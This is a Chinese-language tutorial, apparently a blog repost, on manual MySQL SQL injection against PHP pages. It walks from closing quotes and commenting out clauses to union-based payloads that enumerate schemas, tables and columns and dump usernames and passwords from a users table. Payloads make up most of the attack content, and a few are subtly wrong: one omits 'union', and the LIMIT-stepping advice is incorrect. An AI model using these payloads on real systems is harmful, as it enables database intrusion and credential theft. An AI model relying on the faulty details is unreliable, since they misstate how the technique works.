1. 程式人生 > >mysql手工注入總結

mysql手工注入總結

mysql的注入,關鍵是要找到注入點,對注入點進行處理,該閉合的引號,括號等要先進行閉合,然後註釋掉多餘的語句

一、稍微總結下幾種閉合方法:

一般來說,程式設計師在書寫select語句時,會對傳入的變數進行一些處理,常見的有如下幾種,這裡以php為例,假設傳輸進來的變數為‘$id‘’,其他後端語言也相同。

複製程式碼

select * from tables where id=$id;          #這種情況下,$id變數多為數字型    不需要閉合符號,可以直接注入,但如果系統做了只能傳入數字型的判斷,就無法注入
select * from tables where id='$id';        #這種情況下,$id變數多為字元型    需要閉合單引號,可以用?id=1'這種形式閉合
select * from tables where id="$id";        #這種情況下,$id變數多為字元型    需要閉合雙引號,可以用?id=1"這種形式閉合
select * from tables where id=($id);        #這種情況下,$id變數多為數字型    需要閉合括號,可以用?id=1)這種形式閉合
select * from tables where id=('$id');      #這種情況下,$id變數多為字元型    需要同時閉合單引號和括號,可以用?id=1')這種形式閉合
select * from tables where id=("$id");      #這種情況下,$id變數多為字元型    需要同時閉合雙引號和括號,可以用?id=1")這種形式閉合
select * from tables where id=(('$id'));    #這種情況下,$id變數多為字元型    需要同時閉合單引號和兩層括號,可以用?id=1'))這種形式閉合

有些語句還有limit子句,如select * from tables where id='$id' limit 0,1;,我們可以通過上面提到的方法先閉合單引號,然後用%23,即註釋符註釋掉後面的語句,具體寫法如下:?id=1'%23;即可閉合輸出正確的語句

*注:這裡只列舉幾種常見的寫法,可以結合實際情況,進行閉合符號,沒有什麼固定的方式,但最終達到一個目的就好了,就是閉合語句中可能有的符號,註釋掉我們不需要或者可能會限制我們繼續注入的部分。使得我們注入這些閉合原有語句的符號後,得到的語句還是正確並且可被執行的。

複製程式碼

二、手工注入

第一步:找到注入點

在變數可控的部分加入一些符號,檢視頁面是否正常,舉個例子:

有這麼一個網站www.example.com/index.php?id=1

可以看到,這裡的id變數是使用者可控的,可以在id=1後加一個單引號,變成id=1' 。頁面如果報錯多了一個單引號,那麼說明可能存在注入點。

也可以在id=1後通過and符號多增加多個判斷,如果‘id=1 and 1=1’頁面正常,‘id=1 and 1=2’時頁面不正常,則這個頁面邊可能存在注入。

這裡為什麼一直說可能呢?因為有些頁面可能在返回結果出做過濾,雖然你這裡帶入資料庫是可以被查詢的,但無法返回,是否可以利用需要結合具體情況對待,也有可能是被重定向進入到一個蜜罐中,故意放行,捕獲入侵行為,但這個一般不會碰到。

第二步:就是閉合語句

參照最開始提出的幾種閉合方法,對語句進行閉合。這裡不再贅述,這裡特別說一下注釋掉不需要語句的問題。

如果在第一步的資料庫報錯中出現了limit附近的語法錯誤,一般來說,原有語句中的這個limit我們是無法利用的,多半可能會導致我們的閉合無法完成,而且為了後續便於我們遍歷資料庫,我們需要注入一個我們可控的limit子句,所以需要註釋掉原有語句的limit子句,防止衝突。可以使用%23(#),--%20 %23這些資料庫註釋符號,進行註釋。舉個例子:

有這麼一個網站:www.example.com/index.php?id=1

他在資料中的查詢語句是select * from table where id='$id' limit 0,1;

那麼我們注入的語句就可以是?id=1' %23

這個時候,帶入到資料庫查詢的語句就變成了select * from table where id='$id' #' limit 0,1;

#會把後面的語句註釋掉,然後我們得到實際執行的語句就成了select * from table where id='$id';

還要說一下,我們在注入的時候,為什麼使用的%23而不是#呢,因為由於編碼的問題,在瀏覽器中直接提交#會變成空,所以我們使用url編碼後的#,即%23,當傳輸到後端時,後端語言會對它自動解碼成#,才能夠成功帶入資料庫查詢。

第三步:經過前面兩步,我們已經通過閉合和註釋,構造出了一段空白區域,這段空白區域可以使得我們注入查詢語句並得以帶入執行。

前兩步的工作非常重要,如果不做前面兩步,或者前面兩步做不好,在這一步時,你就還要去調整語句,那麼一長串的報錯,會很奔潰,所以我特別推薦,先去做前兩步,使得語句該閉合的閉合,該註釋的註釋,那麼注入的閉合符號和註釋符號之間就是我們的注入地帶。會為接下來的步驟省去很多精力。

接下來還是以www.example.com/index.php?id=1,在資料查詢語句為select * from table where id='$id' limit 0,1;作為示例。

(1)先通過order by 子句判斷有幾個欄位。

payload:?id=1' order by n %23

如果n為3時頁面正常,n為4時頁面不正常,則可以判斷有三個欄位。這裡就假設我們得到的n為3,繼續舉例。

(2)通過and 1=2 union select 1,2,3……,n聯合查詢判斷顯示欄位是哪些

payload:?id=1' and 1=2 union select 1,2,3……n  

#這裡的n為我們上面通過order by n測試出來的那個值,這裡我們取3。所以實際注入時就是?id=1' and 1=2 select 1,2,3

提交後,可以看到頁面中出現可以被顯示的欄位編號,我們通過在響應位置替換成我們需要的查詢欄位和表就可以,如這裡,我注入出來的是2和3位置可以被注入,也就是接下來所有注入的內容更都需要替換這裡select語句中的2和3

(3)暴出當前庫和版本

payload:?id=1' and 1=2 union select 1,database(),version() %23

(4)暴出其他資料庫

payload:?id=1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1%23

通過調整limit即可遍歷出所有的資料庫,調整方法為limit 0,1;limit 1,2;limit 2,3……直到出現錯誤或異常

(5)暴對應資料庫的資料表

payload:?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=資料庫名的十六進位制 limit 0,1%23

這裡我用當前資料庫來做演示,即security庫

遍歷也是通過調整limit來實現的,方法同上

(6)暴對應資料庫、資料表的各個欄位

 payload:?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=庫名十六進位制  and table_name=表名十六進位制 limit 0,1%23

這裡我用security庫和security中的users表來做演示

遍歷也是通過調整limit來實現的,方法同(4)

(7)暴資料,也就是我們常說的脫庫

payload:?id=1' and 1=2 union select 1,欄位名,3 from 庫名.表名 limit 0,1%23

這裡由於2和3位都是可用的,所以我可以在兩個位同時顯示兩個欄位。這裡選用了security庫的users表,我們只關注使用者名稱和密碼欄位,所以只暴這兩個欄位即可

遍歷也是通過調整limit來實現的,方法同(4)